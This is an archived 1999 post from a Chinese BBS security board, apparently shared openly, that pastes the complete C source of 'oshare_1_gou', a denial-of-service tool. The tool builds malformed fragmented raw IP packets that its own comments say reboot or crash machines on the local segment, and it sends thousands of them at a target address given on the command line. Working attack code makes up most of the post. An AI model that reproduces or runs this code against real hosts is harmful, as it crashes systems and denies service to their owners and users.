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<td width="68%" background="DDl_back2.jpg" height="44"><big><big><font face="黑体"><p align="center"> ● UNIX网络编程 (BM: clown) </font></big></big></td></tr>
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<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="184.htm">上一层</a>][<a href="325.htm">下一篇</a>]
<hr><p align="left"><small>发信人: cloudsky (晓舟·轩辕明月), 信区: Security <br>
标 题: 攻击源代码 <br>
发信站: 武汉白云黄鹤站 (Sat Jan 30 20:38:20 1999) , 站内信件 <br>
<br>
前面有同志提到了，特别有位同志把include给出来了。 <br>
我不是很理解这位同志仅仅给个include想说明什么, <br>
说明自己厉害?还是别的什么?我只能认为有炫耀嫌疑 <br>
了.sigh <br>
<br>
lgwu是早就声明过不赞同这些的,所以无可非议.他也 <br>
没有卖乖似地贴出一个什么都不是的include,相反给 <br>
大家指出了到哪里去查找信息,我表示感谢,至少我本人 <br>
感谢他快速提供给大家一个消息.其实许多东西,你订阅 <br>
了MailList就会看到许多精彩的讨论.人家学风比我们 <br>
正,有啥说啥,至少不好炫耀.废话少说，下面是源代码. <br>
能够编译运行的同志想必革命自觉性都很高的,我们还是 <br>
古典派点好,是不是? <br>
<br>
/****************************************************************************/ <br>
/* [ oshare_1_gou ver 0.1 ] -- Dressing up No.1 -- <br>
*/ <br>
/* <br>
*/ <br>
/* <br>
*/ <br>
/* This program transmits the "oshare" packet which starts a machine aga- <br>
*/ <br>
/* in or crash. But, because it can't pass through the router, it can be <br>
*/ <br>
/* carried out only in the same segment. <br>
*/ <br>
/* "oshare packet" is (frag 39193:-4@65528+), If ihl and tot_len are cha- <br>
*/ <br>
/* nged, it has already tested that it becomes possible to kill Mac, too. <br>
*/ <br>
/* ----------------------------------------- <br>
*/ <br>
/* Written by R00t Zer0 <br>
*/ <br>
/* E-Mail : defcon0@ugtop.com <br>
*/ <br>
/* Web URL : http://www.ugtop.com/defcon0/index.htm <br>
*/ <br>
/****************************************************************************/ <br>
<br>
<br>
#include <stdio.h> <br>
#include <stdlib.h> <br>
#include <string.h> <br>
#include <unistd.h> <br>
#include <netdb.h> <br>
#include <sys/socket.h> <br>
#include <sys/types.h> <br>
#include <netinet/in.h> <br>
#include <netinet/ip.h> <br>
#include <netinet/tcp.h> <br>
#include <netinet/in_systm.h> <br>
#include <arpa/inet.h> <br>
<br>
u_short in_cksum( u_short *, int ); <br>
int send_oshare_packet( int, u_long ); <br>
<br>
u_short <br>
in_cksum( u_short *addr, int len ) <br>
{ <br>
int nleft = len; <br>
u_short *w = addr; <br>
int sum = 0; <br>
u_short answer = 0; <br>
<br>
while( nleft > 1 ) <br>
{ <br>
sum += *w++; <br>
nleft -= 2; <br>
} <br>
<br>
if (nleft == 1) <br>
{ <br>
*( u_char *)( &answer ) = *( u_char *)w; <br>
sum += answer; <br>
} <br>
<br>
sum = ( sum >> 16 ) + ( sum & 0xffff ); <br>
sum += ( sum >> 16 ); <br>
answer = ~sum; <br>
return( answer ); <br>
} <br>
<br>
int <br>
send_oshare_packet( int sock_send, u_long dst_addr ) <br>
{ <br>
char *packet; <br>
int send_status; <br>
struct iphdr *ip; <br>
struct sockaddr_in to; <br>
<br>
packet = ( char *)malloc( 40 ); <br>
ip = ( struct iphdr *)( packet ); <br>
memset( packet, 0, 40 ); <br>
<br>
ip->version = 4; <br>
ip->ihl = 11; <br>
ip->tos = 0x00; <br>
ip->tot_len = htons( 44 ); <br>
ip->id = htons( 1999 ); <br>
ip->frag_off = htons( 16383 ); <br>
ip->ttl = 0xff; <br>
ip->protocol = IPPROTO_UDP; <br>
ip->saddr = htonl( inet_addr( "1.1.1.1" ) ); <br>
ip->daddr = dst_addr; <br>
ip->check = in_cksum( ( u_short *)ip, 44 ); <br>
<br>
<br>
to.sin_family = AF_INET; <br>
to.sin_port = htons( 0x123 ); <br>
to.sin_addr.s_addr = dst_addr; <br>
<br>
send_status = sendto( sock_send, packet, 40, 0, <br>
( struct sockaddr *)&to, sizeof( struct sockaddr ) <br>
); <br>
<br>
free( packet ); <br>
return( send_status ); <br>
} <br>
<br>
int <br>
main( int argc, char *argv[] ) <br>
{ <br>
char tmp_buffer[ 1024 ]; <br>
int loop, loop2; <br>
<br>
int sock_send; <br>
u_long src_addr, dst_addr; <br>
u_short src_port, dst_port; <br>
<br>
<br>
struct hostent *host; <br>
struct sockaddr_in addr; <br>
<br>
time_t t; <br>
<br>
if( argc != 3 ) <br>
{ <br>
printf( "Usage : %s <dst addr> <num(k)>\n", argv[0] ); <br>
exit( -1 ); <br>
} <br>
<br>
t = time( 0 ); <br>
srand( ( u_int )t ); <br>
<br>
memset( &addr, 0, sizeof( struct sockaddr_in ) ); <br>
addr.sin_family = AF_INET; <br>
addr.sin_addr.s_addr = inet_addr( argv[1] ); <br>
if( addr.sin_addr.s_addr == -1 ) <br>
{ <br>
host = gethostbyname( argv[1] ); <br>
if( host == NULL ) <br>
{ <br>
printf( "Unknown host %s.\n", argv[1] ); <br>
exit( -1 ); <br>
} <br>
addr.sin_family = host->h_addrtype; <br>
memcpy( ( caddr_t )&addr.sin_addr, host->h_addr, host->h_length <br>
); <br>
} <br>
memcpy( &dst_addr, ( char *)&addr.sin_addr.s_addr, 4 ); <br>
<br>
if( ( sock_send = socket( AF_INET, SOCK_RAW, IPPROTO_RAW ) ) == -1) <br>
{ <br>
perror( "Getting raw send socket" ); <br>
exit( -1 ); <br>
} <br>
<br>
printf( "\n\"Oshare Packet\" sending" ); <br>
fflush( stdout ); <br>
for( loop = 0; loop < atoi( argv[2] ); loop++ ) <br>
{ <br>
for( loop2 = 0; loop2 < 1000; loop2++ ) <br>
send_oshare_packet( sock_send, dst_addr ); <br>
fprintf( stderr, "." ); <br>
fflush( stdout ); <br>
} <br>
printf( "\n\nDone.\n\n" ); <br>
fflush( stdout ); <br>
<br>
close( sock_send ); <br>
exit( 0 ); <br>
} <br>
<br>
-- <br>
我问飘逝的风：来迟了？ <br>
风感慨：是的，他们已经宣战。 <br>
我问苏醒的大地：还有希望么？ <br>
大地揉了揉眼睛：还有，还有无数代的少年。 <br>
我问长空中的英魂：你们相信？ <br>
英魂带着笑意离去：相信，希望还在。 <br>
</small><hr>
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